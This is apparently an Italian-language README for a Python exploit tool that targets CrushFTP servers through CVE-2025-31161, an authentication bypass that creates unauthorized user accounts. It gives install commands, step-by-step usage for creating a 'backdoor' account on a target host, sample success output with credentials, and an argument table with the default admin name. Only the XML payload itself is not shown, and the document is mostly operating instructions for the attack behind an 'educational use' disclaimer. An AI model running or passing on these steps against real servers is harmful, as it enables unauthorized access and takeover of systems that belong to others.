
🛡️ CVE-2025-31161 - CrushFTP Exploit di bypass dell'autenticazione per la creazione di utenti

Questo exploit in Python prende di mira i server CrushFTP vulnerabili a CVE-2025-31161. La vulnerabilità consente la creazione di account utente non autenticata inviando un payload XML appositamente creato alla WebInterface, portando potenzialmente alla compromissione totale del server.
Questo strumento è destinato esclusivamente a scopi educativi e test di sicurezza autorizzati.
L'uso non autorizzato contro sistemi di cui non si possiede o non si ha il permesso esplicito di testare è illegale e non etico.
requestscoloramaDebian/Ubuntu:
sudo apt update
sudo apt install python3 python3-pip -y
CentOS/RHEL:
sudo yum install python3 python3-pip -y
macOS (con Homebrew):
brew install python3
pip3 install requests colorama
python3 CVE-2025-31161.py --target_host <TARGET_IP> [--port <PORT>] [--target_user <ADMIN>] [--new_user <USERNAME>] [--password <PASSWORD>]
python3 CVE-2025-31161.py --target_host 192.168.1.100 --new_user backdoor --password P@ssw0rd!
[+] Preparing Payloads
[-] Warming up the target...
[-] Target is up and running
[+] Sending Account Create Request
[!] User created successfully!
[+] Exploit Complete! You can now login with:
[*] Username: AuthBypassAccount
[*] Password: CorrectHorseBatteryStaple
Gaurav Bhattacharjee (G4UR4V007)
| Argomento | Descrizione | Valore predefinito |
|---|
--target_host | (Obbligatorio) IP o dominio del target | — |
--port | Porta della WebInterface di CrushFTP | 8080 |
--target_user | Nome utente amministratore (usato nel payload) | crushadmin |
--new_user | Nome utente per il nuovo account non autorizzato | AuthBypassAccount |
--password | Password per il nuovo utente | CorrectHorseBatteryStaple |